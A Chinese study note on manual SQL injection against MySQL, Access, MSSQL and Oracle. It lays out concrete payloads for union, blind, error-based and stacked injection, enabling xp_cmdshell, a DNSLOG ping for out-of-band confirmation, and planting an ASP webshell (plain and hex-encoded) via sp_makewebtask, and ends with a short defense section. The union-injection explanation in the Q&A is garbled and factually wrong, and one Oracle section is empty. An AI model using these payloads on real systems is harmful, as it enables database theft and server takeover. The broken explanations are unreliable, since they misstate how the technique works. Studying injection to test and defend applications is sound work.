一、研究背景
-
背景介绍
SQL注入是一种常见且高危的Web安全漏洞。攻击者可以通过构造恶意SQL查询语句来绕过验证机制,执行未授权操作,如获取敏感信息、篡改数据库内容甚至控制服务器。 -
研究内容
本笔记探讨以下数据库的手工注入技术:- MySQL
- Access
- MSSQL
- Oracle
覆盖了联合查询注入、报错注入、盲注注入、UA注入、Referer注入、DNSLOG外带、Cookie注入、宽字节注入、堆叠注入等方法。
-
相关研究
目前的主要研究集中在SQL注入的检测和防御技术:- 参数化查询:避免动态拼接用户输入。
- 输入验证:严格过滤SQL关键字符。
- 输出编码:对输出数据进行编码以防止攻击扩散。
二、SQL注入技术详解
1. MySQL注入
-
联合查询注入
- 利用
UNION
操作符,将多条SELECT
语句的结果合并。 - 步骤:
- 判断列数:利用
ORDER BY
语句逐步增加字段数,观察是否报错。 - 构造查询:如:
UNION SELECT 1,2,3--
,逐步替换为敏感数据字段。 - 获取数据:在显示字段中插入
database()
、version()
等函数查看信息。
- 判断列数:利用
- 利用
-
报错注入
- 方法:利用MySQL特性,构造错误表达式来暴露数据。
- 示例:
EXTRACTVALUE(1, 'XPath语法错误')
或UPDATEXML(1, 'XPath错误', 1)
。
- 示例:
- 方法:利用MySQL特性,构造错误表达式来暴露数据。
-
盲注注入
- 布尔盲注:通过页面返回的不同响应判断数据。
- 示例:
AND (SELECT 'a'='a')--
页面正常;AND (SELECT 'a'='b')--
页面异常。
- 示例:
- 时间盲注:利用
SLEEP()
函数延迟判断。- 示例:
IF(条件, SLEEP(5), 0)--
。
- 示例:
- 布尔盲注:通过页面返回的不同响应判断数据。
-
其他技术
- UA/Referer注入:通过修改HTTP请求头进行注入。
- DNSLOG外带:将数据通过DNS请求传出。
- Cookie注入:在
Cookie
参数中嵌入注入语句。 - 宽字节注入:利用GBK编码将字符解码为SQL语句。
- 堆叠注入:通过分号
;
执行多条SQL语句。
-
Getshell
- 目标:利用文件读写权限获取Webshell。
- 方法:
LOAD_FILE()
读取敏感文件,或INTO OUTFILE
写入后门文件。
2. Access注入
-
基本流程
- 判断数据库类型、表名、列名及其数据。
- 通过页面反馈逐步确认。
-
逐字破解法
- 步骤:
- 猜表名:
AND EXISTS (SELECT * FROM 表名)
,逐步尝试常见表名。 - 猜列名:
AND EXISTS (SELECT 列名 FROM 表名)
,逐步尝试常见列名。 - 获取数据:
AND (SELECT TOP 1 列名 FROM 表名) = 'value'
。
- 猜表名:
- 步骤:
3. MSSQL注入
-
报错注入
- 方法:通过错误信息回显数据。
- 示例:
CONVERT(int, 'a')
或1/0
。
- 示例:
- 方法:通过错误信息回显数据。
-
盲注注入
- 利用内置函数逐步判断数据:
- 示例:
IF(SUBSTRING((SELECT 数据), 1, 1)='a', WAITFOR DELAY '0:0:5', 0)--
。
- 示例:
- 利用内置函数逐步判断数据:
-
命令执行
- 启用
xp_cmdshell
,执行系统命令。- 示例:
sql">EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; EXEC xp_cmdshell 'ping example.com';
- 示例:
- 启用
-
写入Webshell
- 利用
sp_makewebtask
创建恶意文件:sql">EXEC sp_makewebtask 'C:\webshell.asp', 'SELECT ''<%eval request("cmd")%>''';
- 利用
4. Oracle注入
-
报错注入
-
盲注注入
- 使用字符串截取函数判断:
- 示例:
AND SUBSTR((SELECT username FROM ALL_USERS WHERE ROWNUM=1), 1, 1)='A'
。
- 示例:
- 使用字符串截取函数判断:
三、防御策略
-
过滤SQL特殊字符
- 使用白名单模式验证输入。
- 对
'
,;
,--
,/*
等特殊字符进行转义。
-
参数化查询
- 利用预编译语句绑定参数,避免直接拼接用户输入:
- 示例(PHP PDO):
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username'); $stmt->execute(['username' => $input]);
- 示例(PHP PDO):
- 利用预编译语句绑定参数,避免直接拼接用户输入:
-
使用存储过程
- 通过封装数据库操作,减少直接操作SQL的风险。
-
最小化权限
- 限制数据库用户权限,仅允许必要的读写操作。
关键问题及回答
问题1:MySQL注入中的联合查询注入是如何实现的?
联合查询注入通过构造联合查询语句,利用数据库的列数错误获取数据。具体步骤如下:
-
判断列数
- 构造查询语句,利用
ORDER BY
子句判断目标表的列数。 - 示例:
当ORDER BY
字段数为3时,页面正常;字段数为4时,页面报错,说明目标表有3列。
- 构造查询语句,利用
-
构造联合查询
- 利用
UNION SELECT
语句构造包含多个列的查询。 - 示例:
sql">'UNION SELECT 1,2,3 FROM (SELECT 1) UNION SELECT 1,2,3 FROM (SELECT 1) UNION SELECT 1,2,3 FROM (SELECT 1)'
- 利用
-
执行查询
- 将联合查询语句发送至目标网站,利用列数错误引发的报错信息获取数据。
问题2:在Access注入中,如何利用逐字破解法获取表名和列名?
-
查表
- 构造查询语句,利用
EXISTS
语句判断表名存在性。 - 示例:
sql">AND EXISTS (SELECT * FROM 表名)
- 替换表名为常见名称(如
admin
、user
等),直到页面返回正常,确定表名存在。
- 构造查询语句,利用
-
查列
- 确认表名后,利用
EXISTS
语句判断列名存在性。 - 示例:
sql">AND EXISTS (SELECT 列名 FROM 表名)
- 替换列名为常见名称(如
admin
、password
等),直到页面返回正常,确定列名存在。
- 确认表名后,利用
-
获取数据
- 确认表名和列名后,构造查询语句逐步获取数据。
- 示例:
sql">AND (SELECT TOP 1 LEN(列名) FROM 表名) = 5
- 通过替换列名,判断长度或内容获取目标数据。
问题3:MSSQL注入中的命令执行是如何实现的?
-
开启
xp_cmdshell
- 利用
sp_configure
系统存储过程启用命令执行功能。 - 示例:
sql">EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
- 利用
-
执行系统命令
- 通过
xp_cmdshell
执行命令,例如ping
命令,验证是否成功执行。 - 示例:
sql">EXEC master..xp_cmdshell 'ping teki6x.dnslog.cn';
- 通过
-
写入一句话木马
- 利用
sp_makewebtask
或存储过程向目标写入ASP/ASPX木马文件。 - 示例:
sql">DECLARE @s NVARCHAR(4000); SELECT @s = 0x730065006C00650063007400200027003C00250045007800650063007500740065002800720065007100750065007300740028002200610022002900290025003E000D000A002700; EXEC sp_makewebtask 'C:\webshell.asp', @s;
- 利用
通过上述步骤,攻击者可以在MSSQL数据库中执行任意系统命令并获取系统权限。
四、总结与反思
-
总结
- 本文全面梳理了SQL注入技术,涵盖MySQL、Access、MSSQL和Oracle的常见注入方法。
- 提供了大量实战案例,展示了如何手工执行注入攻击并绕过安全防护。
-
反思
- 防御措施需要多层次部署,单一防护手段难以完全防范。
- 检测和防御技术需要结合AI和自动化工具进一步提升效率。
-
建议
- 开发过程中严格执行输入验证和参数化查询。
- 定期进行安全测试和漏洞扫描。